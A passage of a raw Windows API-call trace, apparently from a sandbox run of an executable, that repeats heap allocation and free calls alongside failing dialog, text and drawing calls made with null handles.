HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.709] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.710] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.710] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.710] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.710] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.710] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.710] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.710] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.710] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.710] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.711] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.711] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.711] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.711] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.711] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.711] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.711] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.711] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.711] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.711] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.711] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.711] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.711] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.711] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193538013, cy=27, fuLoad=0x0) returned 0x0 [0026.712] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.712] GetLastError () returned 0x715 [0026.712] SetLastError (dwErrCode=0x715) [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.712] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.712] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.712] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.712] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.712] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.712] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.712] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.712] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.712] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.712] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.712] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.712] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.712] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.712] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.712] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.713] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.713] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.713] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.713] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.713] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.713] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.713] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.713] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.714] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.714] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.714] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.714] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.714] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.714] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.714] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.714] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.714] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.714] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.715] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.715] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.715] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.715] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.715] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.715] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.715] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.715] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.715] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193519068, cy=27, fuLoad=0x0) returned 0x0 [0026.715] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.715] GetLastError () returned 0x715 [0026.715] SetLastError (dwErrCode=0x715) [0026.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.715] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.715] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.715] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.715] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.715] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.715] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.715] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.715] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.716] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.716] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.716] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.716] HeapFree (in: hHeap=0x2d0000, 